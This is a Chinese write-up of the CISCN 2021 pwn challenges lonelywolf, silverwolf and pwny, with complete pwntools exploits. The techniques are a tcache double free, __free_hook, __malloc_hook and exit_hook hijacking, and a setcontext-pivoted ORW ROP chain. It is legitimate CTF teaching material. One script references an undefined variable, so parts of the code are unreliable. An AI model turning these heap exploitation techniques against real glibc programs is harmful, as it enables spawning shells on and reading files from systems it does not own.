2021·CISCN国赛初赛WP
PWN
lonelywolf
保护全开,并且是在libc-2.27.so
,含有tache bin
alloc没啥,挺常规的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| unsigned __int64 alloc() { size_t v1; void *v2; size_t size; unsigned __int64 v4;
v4 = __readfsqword(0x28u); printf(1LL, "Index: "); scanf(&unk_F44, &size); if ( !size ) { printf(1LL, "Size: "); scanf(&unk_F44, &size); v1 = size; if ( size > 0x78 ) { printf(1LL, "Too large"); } else { v2 = malloc(size); if ( v2 ) { chunk_size = v1; chunk_ptr = v2; puts("Done!"); } else { puts("allocate failed"); } } } return __readfsqword(0x28u) ^ v4; }
|
堆块的结构:
1 2 3 4
| struct{ chunk_size; chunk_ptr; }
|
漏洞点在这,由于tache的缘故导致uaf漏洞更加好利用了…
1 2 3 4 5 6 7 8 9 10 11 12
| unsigned __int64 delete() { __int64 v1; unsigned __int64 v2;
v2 = __readfsqword(0x28u); printf(1LL, "Index: "); scanf(&unk_F44, &v1); if ( !v1 && chunk_ptr ) free(chunk_ptr); return __readfsqword(0x28u) ^ v2; }
|
由于没有清零chunk_ptr
,导致被free的chunk也能show
1 2 3 4 5 6 7 8 9 10 11 12
| unsigned __int64 show() { __int64 v1; unsigned __int64 v2;
v2 = __readfsqword(0x28u); printf(1LL, "Index: "); scanf(&unk_F44, &v1); if ( !v1 && chunk_ptr ) printf(1LL, "Content: %s\n", (const char *)chunk_ptr); return __readfsqword(0x28u) ^ v2; }
|
edit很常规,并没有off-by-one
,但是由于chunk_ptr
没有置零所以可以随便写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| unsigned __int64 edit() { _BYTE *v0; char *v1; __int64 v3; unsigned __int64 v4;
v4 = __readfsqword(0x28u); printf(1LL, "Index: "); scanf(&unk_F44, &v3); if ( !v3 ) { if ( chunk_ptr ) { printf(1LL, "Content: "); v0 = chunk_ptr; if ( chunk_size ) { v1 = (char *)chunk_ptr + chunk_size; while ( 1 ) { read(0, v0, 1uLL); if ( *v0 == '\n' ) break; if ( ++v0 == v1 ) return __readfsqword(0x28u) ^ v4; } *v0 = 0; } } } return __readfsqword(0x28u) ^ v4; }
|
在这得先泄露heap_base
和libc_base
,前者为了劫持tache
控制堆块,后者为了one_gadget
泄露也很简单,通过改变key来double free
,tache
的出现让double free
变得异常简单,连堆块的大小都不用检查了
1 2 3 4
| add(0,0x70) free(0) edit(0,'a'*0x10) free(0)
|
直接show就能泄露堆地址了
泄露了堆的基地址之后呢,我们就可以修改tache bin
的fd来劫持tache 控制堆块,add两次我们就得到了控制堆块,通过写让它以往0x250的堆块已经满了,然后把这个控制堆块free掉就能进入unsorted bin
里面,之后show除了就能得到libc的基地址
1 2 3 4 5 6
| payload = p64(heap_base + 0x10) edit(0,payload) add(0,0x70) add(0,0x70) edit(0,'\x00'*0x23+'\x07') free(0)
|
之后再此往控制堆块里面写入__free_hook
的地址,再add出来就能写它为one_gadget
了
1 2 3 4
| edit(0,'\x03'+'\x00'*0x3f+p64(free_hook)) add(0,0x18) edit(0,p64(one_gadget)) free(0)
|
getshell!
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
|
from pwn import *
context.log_level = 'debug' elf = ELF('lonelywolf') libc = ELF('libc-2.27.so') local = 1 binary = 'lonelywolf' port = '26743'
if local == 1: io = process(binary) else: io = remote("node3.buuoj.cn",port)
def add(idx,size): io.recvuntil('Your choice: ') io.sendline('1') io.recvuntil('Index: ') io.sendline(str(idx)) io.recvuntil('Size: ') io.sendline(str(size))
def edit(idx,content): io.recvuntil('Your choice: ') io.sendline('2') io.recvuntil('Index: ') io.sendline(str(idx)) io.recvuntil('Content: ') io.sendline(content)
def show(idx): io.recvuntil('Your choice: ') io.sendline('3') io.recvuntil('Index: ') io.sendline(str(idx))
def free(idx): io.recvuntil('Your choice: ') io.sendline('4') io.recvuntil('Index: ') io.sendline(str(idx))
add(0,0x70) free(0)
edit(0,'a'*0x10) free(0)
show(0) io.recvuntil('Content: ') heap_base = u64(io.recv(6).ljust(8,'\x00')) - 0x260 log.success("[*]heap_base => " + hex(heap_base)) payload = p64(heap_base + 0x10) edit(0,payload)
add(0,0x70) add(0,0x70)
edit(0,'\x00'*0x23+'\x07') free(0)
show(0) io.recvuntil('Content: ') libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 96 -0x10 - libc.sym['__malloc_hook'] log.success("[*]libc_base => " + hex(libc_base)) one_gadget = libc_base + 0x10a41c free_hook = libc_base + libc.sym['__free_hook'] edit(0,'\x03'+'\x00'*0x3f+p64(free_hook)) add(0,0x18)
edit(0,p64(one_gadget))
free(0) ''' 0x4f3d5 0x4f432 0x10a41c '''
io.interactive()
|
silverwolf
保护全开
在初始化的时候是开了沙箱的
拿工具扫一下,只能用ORW三个系统调用,ORW没跑了
和上题相比就是多了一个沙箱,这里只列出alloc
,free
函数
alloc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| unsigned __int64 alloc() { size_t size_1; void *ptr; size_t size; unsigned __int64 v4;
printf(1LL, "Index: "); scanf(&unk_1144, &size); if ( !size ) { printf(1LL, "Size: "); scanf(&unk_1144, &size); size_1 = size; if ( size > 0x78 ) { printf(1LL, "Too large"); } else { ptr = malloc(size); if ( ptr ) { chunk_size = size_1; chunk_ptr = ptr; puts("Done!"); } else { puts("allocate failed"); } } } return __readfsqword(0x28u) ^ v4; }
|
free:
1 2 3 4 5 6 7 8 9 10 11 12
| unsigned __int64 delete() { __int64 v1; unsigned __int64 v2;
v2 = __readfsqword(0x28u); printf(1LL, "Index: "); scanf(&unk_1144, &v1); if ( !v1 && chunk_ptr ) free(chunk_ptr); return __readfsqword(0x28u) ^ v2; }
|
既然是堆的ORW那么就需要泄露heap_base
和libc_base
,泄露heap_base
的目的是栈迁移到堆上,并且在堆上布置ROP链,libc_base
是为了寻找对应的ROPgadget
因为堆块的结构都是一样的,泄露heap_base
和libc_base
步骤都差不多,不过还是有点差别,原因在于初始化的时候,申请了很多堆块也free了很多堆块,所以在这就要先把堆块全部申请回来然后再进行double free
,当时没有申请回来,也能够正常泄露heap_base
和libc_base
,但是在后面写的时候写不进去,所以还是搭建和之前那题一样的环境吧!
和上题一样修改tache bin
的key就能进行double free
了,之后直接show就能泄露heap_base
了
1 2 3 4 5 6 7
| for i in range(7): add(0x78) edit('a')
for i in range(2): edit('\x00'*0x10) free()
|
之后就是修改tache bin
的fd劫持到控制堆块,泄露libc_base
,没啥变化
1 2 3 4 5
| edit(p64(heap_base+0x10)) add(0x78) add(0x78) edit('\x00'*0x23 + '\x07') free()
|
泄露工作完成之后,就能去找ROPgadget
了,记得一定要看清楚….其中一个gadget
不知道怎么就找错了,卡了一段时间….
1 2 3 4 5 6 7 8 9 10 11
| free_hook = libc_base + libc.sym['__free_hook'] pop_rdi = libc_base + 0x215bf pop_rax = libc_base + 0x43ae8 pop_rsi = libc_base + 0x23eea pop_rdx = libc_base + 0x1b96 read = libc_base + libc.sym['read'] write = libc_base + libc.sym['write'] setcontext = libc_base + libc.sym['setcontext'] + 53 syscall = libc_base + 0xE5965 flag_addr = heap_base + 0x1000 ret = libc_base + 0x8aa
|
之前劫持了控制堆块,这里就开始写它布置我们需要的堆块,heap_base + 0x1000
用来放置flag的路径,heap_base + 0x2000
和heap_base + 0x20A0
是用来栈迁移的,至于为什么是这两个地址,等下就知道了,heap_base + 0x3000
和heap_base + 0x3060
是用来存我们的ROP链的,因为一个堆块放不下,只能用两个堆块来放
1 2 3 4 5 6 7 8 9 10
| payload = '\x02'*0x40 payload += p64(free_hook) payload += p64(0) payload += p64(heap_base + 0x1000) payload += p64(heap_base + 0x2000) payload += p64(heap_base + 0x20A0) payload += p64(heap_base + 0x3000) payload += p64(heap_base + 0x3060)
edit(payload)
|
ROP链和以前的没什么区别,就是注意一下打开和读的位置,至于为什么第一个为什么用的是系统调用,因为read会破坏我们的堆栈结构,所以就用系统调用就好了
1 2 3 4 5 6 7 8 9 10
| orw = p64(pop_rdi) + p64(flag_addr) orw += p64(pop_rax) + p64(2) orw += p64(pop_rsi) + p64(0) orw += p64(syscall) orw += p64(pop_rdi) + p64(3) orw += p64(pop_rsi) + p64(heap_base + 0x3000) orw += p64(pop_rdx) + p64(0x30) orw += p64(read) orw += p64(pop_rdi) + p64(1) orw += p64(write)
|
下面就是进行参数布置和栈迁移了
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| add(0x18) edit(p64(setcontext)) add(0x38) edit('./flag')
add(0x68) edit(orw[:0x60]) add(0x78) edit(orw[0x60:])
add(0x58) edit(p64(heap_base + 0x3000)+p64(ret)) add(0x48) free()
|
首先setcontext+53
是怎么回事呢?在libc中搜索,就能看到这条gadget,发现只要控制了rdi就能够控制rsp,所以怎么控制rdi呢?这就很巧妙,我们来看下free( )函数,它原本的参数rdi就是堆块的地址对不对,所以当我们劫持它变成setcontext+53
的时候,这个rdi就传给了它,所以它就会去[rdi+0A0]的内存处去找,这个位置正正好好就是add(0x58)
这个堆块的位置,所以rsp就变成heap_base + 0x3000
这个地方,而这个地方存放着我们的ROP链,就一环扣一环,很巧妙…,至于为什么要加一个ret,看图中是不是push了rcx,防止它破坏栈结构把它弹出来
接下来调试看看
此时的free
已经被劫持进了setcontext+53
0x56222468d000就是**add(0x48)之后的地址,它加A0的位置就是p64(heap_base + 0x3000)+p64(ret)**的位置
此时的rsp已经到了我们的ROP链,可以看到第一条命令是POP rdi,没毛病!
完成ROP链的调用之后,就得到了flag
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114
|
from pwn import *
context.log_level = 'debug' elf = ELF('silverwolf') libc = ELF('libc-2.27.so') local = 1 binary = 'silverwolf' port = '26743'
if local == 1: io = process(binary) else: io = remote("node3.buuoj.cn",port)
def add(size): io.sendlineafter(': ', '1') io.sendlineafter(': ', str(0)) io.sendlineafter(': ', str(size))
def edit(content): io.sendlineafter(': ', '2') io.sendlineafter(': ', str(0)) io.sendlineafter(': ', content)
def show(): io.sendlineafter(': ', '3') io.sendlineafter(': ', str(0))
def free(): io.sendlineafter(': ', '4') io.sendlineafter(': ', str(0))
gdb.attach(io)
for i in range(7): add(0x78) edit('a')
for i in range(2): edit('\x00'*0x10) free()
show() io.recvuntil('Content: ') heap_base = u64(io.recv(6).ljust(8, b'\x00')) & 0xfffffffff000 success('heap_base -> {}'.format(hex(heap_base)))
edit(p64(heap_base+0x10)) add(0x78) add(0x78) edit('\x00'*0x23 + '\x07') free() show() io.recvuntil('Content: ') libc_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x70 - libc.sym['__malloc_hook'] success('libc_base -> {}'.format(hex(libc_base)))
free_hook = libc_base + libc.sym['__free_hook'] pop_rdi = libc_base + 0x215bf pop_rax = libc_base + 0x43ae8 pop_rsi = libc_base + 0x23eea pop_rdx = libc_base + 0x1b96 read = libc_base + libc.sym['read'] write = libc_base + libc.sym['write'] setcontext = libc_base + libc.sym['setcontext'] + 53 syscall = libc_base + 0xE5965 flag_addr = heap_base + 0x1000 ret = libc_base + 0x8aa
payload = '\x02'*0x40 payload += p64(free_hook) payload += p64(0) payload += p64(heap_base + 0x1000) payload += p64(heap_base + 0x2000) payload += p64(heap_base + 0x20A0) payload += p64(heap_base + 0x3000) payload += p64(heap_base + 0x3060)
edit(payload)
orw = p64(pop_rdi) + p64(flag_addr) orw += p64(pop_rax) + p64(2) orw += p64(pop_rsi) + p64(0) orw += p64(syscall) orw += p64(pop_rdi) + p64(3) orw += p64(pop_rsi) + p64(heap_base + 0x3000) orw += p64(pop_rdx) + p64(0x20) orw += p64(read) orw += p64(pop_rdi) + p64(1) orw += p64(write)
add(0x18) edit(p64(setcontext)) add(0x38) edit('./flag')
add(0x68) edit(orw[:0x60]) add(0x78) edit(orw[0x60:])
add(0x58) edit(p64(heap_base + 0x3000)+p64(ret)) add(0x48)
free()
io.interactive()
|
pwny
在初始化函数中open
了一个文件,并将把fd
存起来
1 2 3 4 5 6 7 8 9 10 11 12 13
| int sub_A10() { int result;
setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); result = open("/dev/urandom", 0); if ( result < 0 ) exit(0); fd = result; return result; }
|
write
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| unsigned __int64 sub_BA0() { __int64 index; __int64 v2; unsigned __int64 v3;
v3 = __readfsqword(0x28u); printf_chk(1LL, "Index: "); isoc99_scanf("%ld", &v2); index = v2; v2 = 0LL; read(fd, &v2, 8uLL); qword_202060[index] = v2; return __readfsqword(0x28u) ^ v3; }
|
read
函数
1 2 3 4 5 6 7 8 9 10 11 12
| unsigned __int64 sub_B20() { __int64 v1; unsigned __int64 v2;
v2 = __readfsqword(0x28u); printf_chk(1LL, "Index: "); v1 = 0LL; read(fd, &v1, 8uLL); printf_chk(1LL, "Result: %lx\n", qword_202060[v1]); return __readfsqword(0x28u) ^ v2; }
|
由于一开始的文件描述符是随机数,所以read
直接报错退出很正常,我们通过write
函数来覆盖fd(并没有限制索引的范围),但是第一次read
的时候,由于第一次fd的是奇奇怪怪的数字,所以第一次读的时候会失败,但是会把fd覆盖成0,第二次读的时候就能成功读了
之后就能通过索引任意读写了,但是需要注意的是索引要以QWORD
字节对齐来索引,往上翻有很多东西可以泄露libc
,比如
1 2 3 4 5
| .got:0000000000201F98 puts_ptr dq offset puts .got:0000000000201FD0 exit_ptr dq offset exit .got:0000000000201FA8 read_ptr dq offset read .bss:0000000000202020 stdout dq ? .bss:0000000000202040 stderr dq ?
|
计算方法就是(0x202020 - 0x202060)/ 8
就可以了
1 2 3
| read_s(p64(0xFFFFFFFFFFFFFFF8)) io.recvuntil("Result: ") libc_base = int(io.recvuntil('\n',drop = True),16) - libc.sym['_IO_2_1_stdout_']
|
由于程序开了PIE,所以我们还得泄露qword_202060
在运行时的地址,这里用sub_9c0
来泄露,好多师傅用下面这条来泄露,原理都是一样的
1
| .data:0000000000202008 off_202008 dq offset off_202008
|
泄露完前面这些地址之后有三种做法:
劫持栈的返回地址
之后就是泄露栈地址,栈地址简单粗暴
1 2 3 4 5 6
| environ = libc_base + libc.sym['environ'] print(hex(environ))
read_s(p64((environ-bss_addr)//8)) io.recvuntil("Result: ") stack = int(io.recvuntil('\n',drop = True),16) -0x120
|
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| from pwn import *
context.log_level = 'debug' io = process('pwny') libc = ELF("libc-2.27.so") def write_s(idx): io.recvuntil("Your choice:") io.sendline("2") io.recvuntil("Index: ") io.sendline(str(idx))
def read_s(idx): io.recvuntil("Your choice: ") io.sendline("1") io.recvuntil("Index: ") io.send(idx)
write_s(0x100) write_s(0x100) read_s(p64(0xFFFFFFFFFFFFFFF8)) io.recvuntil("Result: ") libc_base = int(io.recvuntil('\n',drop = True),16) - libc.sym['_IO_2_1_stdout_'] one_gadget = libc_base + 0x10a41c sys_addr = libc_base + libc.sym['system'] print("[*]libc_base => "+hex(libc_base))
read_s(p64(0xFFFFFFFFFFFFFFA5)) io.recvuntil("Result: ") bss_addr = int(io.recvuntil('\n',drop = True),16) - 0x9c0 +0x202060 print("[*]bss_addr => "+hex(bss_addr))
environ = libc_base + libc.sym['environ'] print(hex(environ))
read_s(p64((environ-bss_addr)//8))
io.recvuntil("Result: ") stack = int(io.recvuntil('\n',drop = True),16) -0x120 print("[*]stack => "+hex(stack))
write_s((stack-bss_addr)//8) io.sendline(p64(one_gadget))
io.interactive()
|
劫持exit_hook
exit_hook劫持
exit_hook在pwn题中的应用
劫持__malloc_hook
和__free_hook
已经是基本操作了,但是exit_hook
却从未涉及过,这里记录一下劫持exit_hook
,其实讲exit_hook
,也只是是为了跟之前的malloc_hook
和free_hook
名称统一一下,在调用exit
的时候并没有一个叫exit_hook
的东西出现,但这并不意味着我们不可以劫持exit
写个小demo
来调试看看exit()
的调用过程
1 2 3 4 5 6 7 8
| #include<stdio.h> int main(void) { printf("welcome to exit\n"); exit(0); return 1; }
|
在exit
处下断点,我们跟进去看看,第一次运行跳到了_dl_runtime_resolve
,不用管,重新运行一下好像就可以(应该静态编译的,不过问题不大
进去之后看到它首先调用__run_exit_handlers
在glibc-2.27源码的glibc-2.27-master\stdlib
目录下有exit.c的源码,也证实了上面的调用
1 2 3 4 5
| void exit (int status) { __run_exit_handlers (status, &__exit_funcs, true, true); }
|
__run_exit_handlers
的源码就在上面,可以看到它调用了三个函数,但是动调的时候并没看到这三个函数,而是先到了do-global-dtors-aux-and-do-global-ctors-aux
这两个函数,这个函数好像是用来辅助函数,不知道有啥用
do-global-dtors-aux-and-do-global-ctors-aux
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| while (true) { ... switch (f->flavor) { void (*atfct) (void); void (*onfct) (int status, void *arg); void (*cxafct) (void *arg, int status);
case ef_free: case ef_us: break; case ef_on: ...
|
之后就是_dl_fini
函数
下面是源码在glibc-2.27-master\elf
,为了查看方便,这里删去了绝大部分的代码,这里只留下两个关键的函数调用
1 2 3 4 5 6 7 8 9
| void _dl_fini (void) { ... __rtld_lock_lock_recursive (GL(dl_load_lock)); ... __rtld_lock_unlock_recursive (GL(dl_load_lock)); ... }
|
找到它的定义发现它与_rtld_local
有关
1 2 3 4 5 6 7 8
| #define __libc_lock_lock_recursive(NAME) #define __rtld_lock_lock_recursive(NAME)
# if IS_IN (rtld) # define GL(name) _rtld_local._##name # else # define GL(name) _rtld_global._##name # endif
|
用pwndbg
可以查看_rtld_global
这个结构体,也是删掉了好多
至此我们可以整理一下exit
函数的调用链exit() -> _exit() -> __run_exit_handlers -> do-global-dtors-aux -> do-global-ctors-aux -> _dl_fini -> __rtld_lock_lock_recursive/__rtld_lock_unlock_recursive
,只知道了这些链条之后,我们就可以进行劫持__rtld_lock_lock_recursive/__rtld_lock_unlock_recursive
变成我们的one_gadget
.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| pwndbg> p _rtld_global $1 = { ... l_next = 0x0, l_prev = 0x7f1c918c9000, l_real = 0x7f1c918e39f0 <_rtld_global+2448>, l_ns = 0, l_libname = 0x7f1c918e4030 <_dl_rtld_libname>, ... l_tls_dtor_count = 0, l_relro_addr = 2266752, l_relro_size = 2432, l_serial = 0, l_audit = 0x7f1c918e3e60 <_rtld_global+3584> }, audit_data = {{ cookie = 0, bindflags = 0 } <repeats 16 times>}, _dl_rtld_lock_recursive = 0x7f1c916ba0e0 <rtld_lock_default_lock_recursive>, _dl_rtld_unlock_recursive = 0x7f1c916ba0f0 <rtld_lock_default_unlock_recursive>, _dl_make_stack_executable_hook = 0x7f1c916ccea0 <__GI__dl_make_stack_executable>, _dl_stack_flags = 6, _dl_tls_dtv_gaps = false, _dl_tls_max_dtv_idx = 1, }
|
这里一个计算的技巧是_dl_rtld_lock_recursive
是_rtld_global+3848
,我们可以在上面的结构体当中看到l_real = 0x7f1c918e39f0 <_rtld_global+2448>
所以我们拿这个地址减去2448就是_rtld_global
的地址,再加上3848就是_dl_rtld_lock_recursive
,_dl_rtld_unlock_recursive
同理
在这还有个小知识点,在查找one_gadget
的时候如果直接用下面这条查找出来的one_gadget
不太够用,但是如果我们加上-l2
这个参数呢?
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| ➜ one_gadget libc-2.27.so -l2
0x4f3d5 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL
0x4f432 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL
0x10a41c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
|
可以看到多了几条one_gadget
,但是相对来说条件也更加苛刻,但是有时候就是这么碰巧呢?对吧!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| ➜ one_gadget libc-2.27.so -l2 0x4f3d5 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL
0x4f432 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL
0xe5617 execve("/bin/sh", [rbp-0x88], [rbp-0x70]) constraints: [[rbp-0x88]] == NULL || [rbp-0x88] == NULL [[rbp-0x70]] == NULL || [rbp-0x70] == NULL
0xe561e execve("/bin/sh", rcx, [rbp-0x70]) constraints: [rcx] == NULL || rcx == NULL [[rbp-0x70]] == NULL || [rbp-0x70] == NULL
0xe5622 execve("/bin/sh", rcx, rdx) constraints: [rcx] == NULL || rcx == NULL [rdx] == NULL || rdx == NULL
0x10a41c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
0x10a428 execve("/bin/sh", rsi, [rax]) constraints: [rsi] == NULL || rsi == NULL [[rax]] == NULL || [rax] == NULL
|
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| from pwn import * import sys
context.log_level = 'debug' p = process('pwny') libc = ELF("libc-2.27.so")
def write_s(idx): p.recvuntil("Your choice:") p.sendline("2") p.recvuntil("Index: ") p.sendline(str(idx))
def read_s(idx): p.recvuntil("Your choice: ") p.sendline("1") p.recvuntil("Index: ") p.send(idx)
write_s(256) write_s(256) read_s(p64(0xFFFFFFFFFFFFFFE7)) p.recvuntil("Result: ") libcbase = int(p.recvuntil("\n")[0:-1],16)-libc.sym['puts'] print(hex(libcbase))
read_s(p64(0xFFFFFFFFFFFFFFA5)) p.recvuntil("Result: ") bss_addr = int(p.recvuntil('\n',drop = True),16) - 0x9c0 +0x202060 print("[*]bss_addr => "+hex(bss_addr))
one = [0x10a41c,0x4f432,0x4f3d5,0xe5617,0xe561e,0xe5622,0x10a428] sleep(0.1) p.sendline('2') exit_hook = str((libcbase+0x61bf60-bss_addr)/8)[0:-2] print("exit_hook =>"+exit_hook) p.sendlineafter("Index:",exit_hook) p.send(p64(libcbase+one[6])) sleep(0.1) p.sendline('3') p.interactive()
|
劫持malloc_hook
还记得在输入的时候用的是scanf
嘛,scanf
有个特性,就是当输入的字符串过长的时候,会分配堆块来存放字符串,这就给我们劫持__malloc_hook
提供可能,我们只要往__malloc_hook
里面写入one_gadget
,再输入一长串的字符串,就能触发程序malloc
,达到one_gadget
的目的,但是这里需要用realloc
来跳转栈帧才能是成功执行one_gadget
,所以这里的调用链是malloc -> __malloc_hook -> realloc -> one_gadget
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| from pwn import *
context.log_level = 'debug' io = process('pwny') libc = ELF("libc-2.27.so") def write_s(idx): io.recvuntil("Your choice:") io.sendline("2") io.recvuntil("Index: ") io.sendline(str(idx))
def read_s(idx): io.recvuntil("Your choice: ") io.sendline("1") io.recvuntil("Index: ") io.send(idx)
write_s(0x100) write_s(0x100) read_s(p64(0xFFFFFFFFFFFFFFF8)) io.recvuntil("Result: ") libc_base = int(io.recvuntil('\n',drop = True),16) - libc.sym['_IO_2_1_stdout_'] one_gadget = libc_base + 0x4f432 realloc = libc_base + libc.sym['realloc'] malloc_hook = libc_base + libc.sym['__malloc_hook'] print("[*]libc_base => "+hex(libc_base)) print("[*]realloc_hook => "+hex(realloc_hook)) print("[*]malloc_hook => "+hex(malloc_hook))
read_s(p64(0xFFFFFFFFFFFFFFA5)) io.recvuntil("Result: ") bss_addr = int(io.recvuntil('\n',drop = True),16) - 0x9c0 +0x202060 print("[*]bss_addr => "+hex(bss_addr))
offset = (malloc_hook - bss_addr)//8 write_s(offset) io.sendline(p64(realloc+14))
write_s(offset-1) io.sendline(p64(one_gadget)) io.sendlineafter(":", b"1"*0x400)
io.interactive()
|
参考链接
ciscn 初赛 2021
2021CISCN初赛-WP(PWN)
CISCN2021线上赛_pwn